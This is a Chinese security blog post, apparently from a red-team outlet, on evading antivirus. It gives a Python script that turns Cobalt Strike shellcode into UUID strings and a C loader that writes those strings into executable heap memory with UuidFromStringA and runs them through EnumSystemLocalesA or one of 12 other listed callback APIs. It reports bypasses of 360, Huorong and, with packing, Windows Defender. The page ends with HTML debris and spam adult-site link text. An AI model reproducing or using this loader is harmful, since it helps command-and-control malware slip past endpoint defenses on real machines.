<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          UUID結(jié)合回調(diào)函數(shù)免殺初探

          共 2399字,需瀏覽 5分鐘

           ·

          2022-02-15 09:06


          ??閱讀須知


          烏鴉安全的技術(shù)文章僅供參考,此文所提供的信息只為網(wǎng)絡(luò)安全人員對(duì)自己所負(fù)責(zé)的網(wǎng)站、服務(wù)器等(包括但不限于)進(jìn)行檢測(cè)或維護(hù)參考,未經(jīng)授權(quán)請(qǐng)勿利用文章中的技術(shù)資料對(duì)任何計(jì)算機(jī)系統(tǒng)進(jìn)行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負(fù)責(zé)。

          烏鴉安全擁有對(duì)此文章的修改、刪除和解釋權(quán)限,如轉(zhuǎn)載或傳播此文章,需保證文章的完整性,未經(jīng)允許,禁止轉(zhuǎn)載!

          本文所提供的工具僅用于學(xué)習(xí),禁止用于其他,請(qǐng)?jiān)?4小時(shí)內(nèi)刪除工具文件!!!


          本文作者:zedxx10,本文已獲得作者授權(quán)!

          1. 前言

          話不多說 今年目標(biāo)發(fā)10篇免殺的小技巧!ok,今天給分享的是2018年就用在hvv的免殺技巧了:uuid+結(jié)合c語言的回調(diào)函數(shù)+殼免殺,寫入內(nèi)存進(jìn)行免殺。

          參考文章?

          https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method

          本文在參考文章基礎(chǔ)之上做了一些改進(jìn)。

          2. UUID是啥

          UUID: 通用唯一標(biāo)識(shí)符 ( Universally Unique Identifier ), 對(duì)于所有的UUID它可以保證在空間和時(shí)間上的唯一性.。它是通過MAC地址, 時(shí)間戳, 命名空間, 隨機(jī)數(shù), 偽隨機(jī)數(shù)來保證生成ID的唯一性, 有著固定的大小(?128 bit ).。它的唯一性和一致性特點(diǎn)使得可以無需注冊(cè)過程就能夠產(chǎn)生一個(gè)新的UUID。?UUID可以被用作多種用途, 既可以用來短時(shí)間內(nèi)標(biāo)記一個(gè)對(duì)象, 也可以可靠的辨別網(wǎng)絡(luò)中的持久性對(duì)象。

          總結(jié)一下就是你的mac地址 ipv4都是在內(nèi)存里面的,以二進(jìn)制的方式寫入內(nèi)存也是理所當(dāng)然的(這里可以思考一下是否可以把shellcode轉(zhuǎn)成mac地址的方式或者ipv4的格式寫入內(nèi)存)

          3. 免殺流程

          3.1 cs4.3生成x64的payload

          這里我就不截圖了,很簡單!

          3.2 將payload轉(zhuǎn)換為uuid的格式

          網(wǎng)上有很多python寫的,但是很多不加\x00補(bǔ)齊,容易導(dǎo)致后期編譯程序報(bào)錯(cuò)。使用下面的代碼可以直接自動(dòng)補(bǔ)齊:

          buf?=?b''''''?#shellcode
          import??uuid

          def?convertToUUID(shellcode):
          ????if?len(shellcode)%16?!=0:
          ????????print("\n[*]?length:",len(shellcode)+(16-(len(shellcode)%16)))
          ????????addNullbyte?=?b"\x00"?*?(16-(len(shellcode)%16))
          ????????shellcode?+=?addNullbyte

          ????uuids?=?[]
          ????for?i?in?range(0,len(shellcode),16):
          ????????uuidString?=?str(uuid.UUID(bytes_le=shellcode[i:i+16]))
          ????????uuids.append(uuidString.replace("'","\""))
          ????return?uuids
          u?=?convertToUUID(buf)
          print(str(u).replace("'
          ","\""))

          3.uuid寫入內(nèi)存(重點(diǎn)來了)

          首先講一下普通shellcode加載:首先正常情況就是寫入內(nèi)存,通常情況下是通過使用windowsapishellcode加載的。但是大部分敏感參數(shù)早就是上了殺軟的單名單,甚至包括一些執(zhí)行權(quán)限,以及前幾年繞過沙箱的sleep()函數(shù)等。可以說你敢用殺軟就敢殺, 所以常規(guī)的加載方式是肯定不行的!

          簡單講一下回調(diào)函數(shù)是什么:?首先使用回調(diào)函數(shù)必須要知道函數(shù)指針,這里我就不詳細(xì)解了,不懂需要去看c、c++的指針和回調(diào)函數(shù)詳解。

          回調(diào)函數(shù)的定義:?通過函數(shù)指針調(diào)用的函數(shù)就是回調(diào)函數(shù),就是你把函數(shù)的指針作為參數(shù)傳遞給另一個(gè)參數(shù)。這個(gè)指針就被用來調(diào)用所指向的函數(shù)時(shí)也就callback function。也就是說,有些庫函數(shù)要求我們程序需要先給它傳遞一個(gè)參數(shù),才能實(shí)現(xiàn)功能,大部分的庫函數(shù)是不需要傳參數(shù)。

          再打個(gè)比方:在酒店,酒店提供叫醒服務(wù),可以通過打電話或者派遣服務(wù)員又或者其它的方式,這個(gè)叫醒的行為我們可以理解為函數(shù)庫。選擇叫醒方式是我們自己定的,我們會(huì)把我們想要的方式反饋給酒店,這個(gè)反饋的行為就是回調(diào)函數(shù)!

          #include?
          #include?
          #include?
          #pragma?comment(lib,?"Rpcrt4.lib")
          //將轉(zhuǎn)換后的shellcode放入
          const?char*?uuids[]?=
          {

          "e48348fc-e8f0-00c8-0000-415141505251",
          "d2314856-4865-528b-6048-8b5218488b52",?
          "322e3231-3931-0000-0000-000000000000",?
          }
          ;
          int?main()
          {
          HANDLE?hc?=?HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,?0,?0);//在進(jìn)程的虛擬地址空間中保留空間
          void*?ha?=?HeapAlloc(hc,?0,?0x100000);//申請(qǐng)內(nèi)存
          DWORD_PTR?hptr?=?(DWORD_PTR)ha;
          int?elems?=?sizeof(uuids)?/?sizeof(uuids[0]);

          for?(int?i?=?0;?i?????RPC_STATUS?status?=?UuidFromStringA((RPC_CSTR)uuids[i],?(UUID*)hptr);//UUID轉(zhuǎn)換為原來的shellcode寫入內(nèi)存
          ????if?(status?!=?RPC_S_OK)?{
          ????????printf("UuidFromStringA()?!=?S_OK\n");
          ????????CloseHandle(ha);
          ????????return?-1;
          ????}

          ????hptr?+=?16;
          }
          printf("[*]?Hexdump:?");
          for?(int?i?=?0;?i?16;?i++)?{
          ????printf("%02X?",?((unsigned?char*)ha)[i]);
          }

          EnumSystemLocalesA((LOCALE_ENUMPROCA)ha,?0);//枚舉操作系統(tǒng)上安裝或支持的語言環(huán)境
          CloseHandle(ha);
          return?0;
          }

          4. 回調(diào)函數(shù)進(jìn)行shellcode注入

          通過回調(diào)函數(shù)進(jìn)行shellcode注入,支持以下13種方法:

          1.?EnumTimeFormatsA
          2.??EnumWindows
          3.??EnumDesktopWindows
          4.??EnumDateFormatsA
          5.??EnumChildWindows
          6.?EnumThreadWindows
          7.??EnumSystemLocalesA
          8.??EnumSystemGeoID
          9.?EnumSystemLanguageGroupsA
          10.??EnumUILanguagesA
          11.??EnumSystemCodePagesA
          12.??EnumDesktopsW
          13.??EnumSystemCodePagesW

          也就是說上面的代碼中的EnumSystemLocalesA是可以換成列舉的13種方法的任意一種,但是要注意:不是直接替換函數(shù)需要對(duì)照函數(shù)的參數(shù)來修改,需要參考庫函數(shù)的格式。

          代碼就不多說了展示一下編譯的配置吧 如果vs的編譯有問題執(zhí)行也會(huì)有問題,這里是x64 debug 代碼生成參考:


          鼠標(biāo)右鍵點(diǎn)擊main.cpp選擇屬性,運(yùn)行庫選擇錯(cuò)誤會(huì)導(dǎo)致有些系統(tǒng)報(bào)錯(cuò)dll錯(cuò)誤。

          5. 免殺效果

          結(jié)論:生成的exe會(huì)被?windows defender攔截查殺(火絨和360是ok的)

          5.1 Bypass 360


          5.2 Bypass火絨


          5.3 CS上線測(cè)試


          cs正常上線

          5.4 Bypass Windows Defender

          今天必須把windows defender過了,這里采用加殼的方式進(jìn)行混淆:

          使用se的殼(加密區(qū)域全部選擇默認(rèn)的 同理會(huì)匯編的師傅可以嘗試修改一些選項(xiàng))


          沒加殼之前 直接被windows defender直接查殺:


          加殼之后效果展示(火絨和360都未報(bào)毒,注意此處過windows defender僅僅只是靜態(tài),動(dòng)態(tài)還是不行的,依舊被查殺)


          所以我通過修改了原有代碼,這里的我不會(huì)展示修改之后的代碼,方法很簡單就留給各位師傅自己思考了,由于不涉及過于底層的函數(shù),就當(dāng)圖個(gè)樂看看吧!這是修改代碼之后編譯+殼,有趣的是純編譯之后靜態(tài)的windows defender也過了,加殼之后動(dòng)靜都是可以過的,具體代碼需要自己思考,一個(gè)很小的細(xì)節(jié)就可以成功過掉了!


          6. 總結(jié)

          360、火絨之類的,個(gè)人的觀點(diǎn):屬于比較low的殺軟了!玩笑話就是有手就行,但是針對(duì)edr或者企業(yè)級(jí)殺軟,上面那些伎倆遠(yuǎn)遠(yuǎn)不夠,還需要將底層的東西學(xué)會(huì),免殺的方式有很多!但個(gè)人建議還是不要使用工具,多敲代碼(c語言是必須要會(huì)的),多看關(guān)于api和內(nèi)核的書(深入解析windows操作系統(tǒng)第七卷), 也推薦大家學(xué)習(xí)gonim語言,之后應(yīng)該會(huì)出一個(gè)nim或者go的免殺。


          往期精彩文章




          基于filter的內(nèi)存馬
          最全thinkphp 3.x sql注入分析
          委派攻擊系列之非約束委派攻擊
          記一次對(duì)Hackmyvm-Area51靶機(jī)的滲透測(cè)試


          技術(shù)支持:白帽子社區(qū)團(tuán)隊(duì)
          —?掃碼關(guān)注我們?


          瀏覽 149
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  毛片的网站 | 精品人妻一区二区三区视频在线 | 成人影音a片 | 女人一级A片色黄情免费 | 亚洲精品系列 |